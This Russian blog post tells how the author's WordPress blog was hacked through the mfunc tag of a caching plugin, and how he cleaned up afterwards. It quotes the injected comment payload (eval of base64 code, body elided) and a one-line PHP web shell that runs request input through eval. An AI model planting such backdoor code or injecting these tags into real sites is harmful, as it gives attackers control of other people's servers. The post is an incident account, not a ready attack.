Подломали сайт

К сожалению, на этот раз это были не урбанисты. Вообще, политически правильно было бы обвинить последних во всех смертных грехах, начиная с поджога Рейхстага — но не в этот раз.

Ломанули довольно интересным образом, используя уязвимость в кеширующем плагине WordPress. Как известно, популярный движок для блогов и сайтов довольно тормознут и ресурсоемок — поэтому в большинстве случаев, когда содержимое сайта представляет собой «практически статику», достаточно создать страничку «по полной программе», с запросами к базе, работой тупых плагинов и прочей дрянью всего лишь один раз, а затем показывать всем в течение нескольких часов копию из кеша. Казалось бы, все хорошо? Но каким-то извращенцам очень сильно понадобилась возможность обновлять части закешированной страницы. Говно вопрос! — ответили авторы кеширующих плагинов и предложили решение — «тег» mfunc. Теперь, если в коде закешированной страницы обнаруживается вот такая конструкция:

<!--mfunc function_name( 'parameter', 'another_parameter' ) -->
<!--/mfunc-->

— то при выдаче кешированной страницы выполнится PHP-код внутри этого тега. Честно говоря, я с трудом представляю сценарий, когда может понадобиться эта возможность — ну за исключением использования WordPress, как движка не для блога (то есть нецелевого :)).

Этой фиче уже лет пять — но только в апреле этого года (!) кто-то заметил, что mfunc можно прекрасно вставить в комментарий. И тут понеслась… 27 мая у меня в блоге появился вот такой комментарий:

<!--mfunc eval(base64_decode('skipped a lot of shit')); --><!--/mfunc-->

Когда кому-то показывалась страничка с этим комментарием — то код внутри eval выполнялся, создавая в открытом на запись каталоге кеша файлик с совершенно замечательным содержанием (тоже несколько раз запакованным в base64):

ifdef($_REQUEST['abc']) eval(stripslashes($_REQUEST['abc']));

Ну вы поняли, да?

Что интересно — комментарий я заметил практически сразу. eval заменил на echo, закинул его в «Ожидающие модерации», проверил сайт на наличие всякой дряни, ничего не нашел и решил спать спокойно. Но оказалось, что хацкер первоначальный скрипт удалил. Продолжение я увидел через несколько дней — по аномалиям в статистике сайта (заодно появились глюки в админке) — большому количеству обращений к php-скрипту с непотребным названием, типа «wxvfebf.php» (разумеется, что wxv — это Wx Vidgets, а что значит febf — я еще не придумал :)). Залез в логи, залез на FTP — и обнаружил, что говнецо неизвестный ксакеп все же отложил, заодно заменив некоторые PHP-скрипты вордпресса на что-то непотребное.

В общем, вчера от греха подальше заменил все файлы вордпресса на нормальные, из приличных источников. Возможность написания комментариев с mfunc отключил, следы пребывания ксакепа убрал. Кстати, что интересно — этот персонаж еще и пытался подобрать пароль к админке. Видимо, тоже с целью малец поднасрать.

Что дальше? Этот эпизод еще больше убеждает меня в необходимости «своего вордпресса с блекджеком и шлюхами». Несмотря на все заявления авторов WP о том, что WordPress «безопасен» (которые я, что характерно, читал как раз 27 мая) — убедиться в этом крайне сложно. Более того, «голый» WordPress может быть и ничего — но он обрастает кучей плагинов, и те попросту никто и никогда не проверял ни на качество, ни на безопасность. Более того, вся эта история с mfunc — это практически сознательно заложенный бекдор.

Логичный вопрос — а почему я не обновляю WordPress, при всех этих рассуждениях о безопасности? Причина проста — многие плагины непредсказуемо взаимодействуют с новыми версиями движка, а авторы их попросту забросили. Обновление превращается в поиск багов в довольно большой программе с невнятной архитектурой. Фактически, установленный и «настроенный под себя» WordPress — это «форк» основной версии, а заниматься «чтением чужого кода» и поиском «что и где сломалось» не сильно интересно.

Подломали сайт: 4 комментария

  1. Вот за это я не люблю вордпресс, когда благодаря распространенности движка его ломают все кому не лень, при это фиг найдешь нормальные противовзломные инструкции. Обычно все сводится к «обновитесь на последнюю версию».
    Впрочем, остальные системы «из каропки» непринципиально лучше.
    Но, чисто субъективно, друпал мне нравится больше.

  2. Переходи на генератор статических веб-сайтов с раздачей через какой-нибудь S3. Octopress например

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *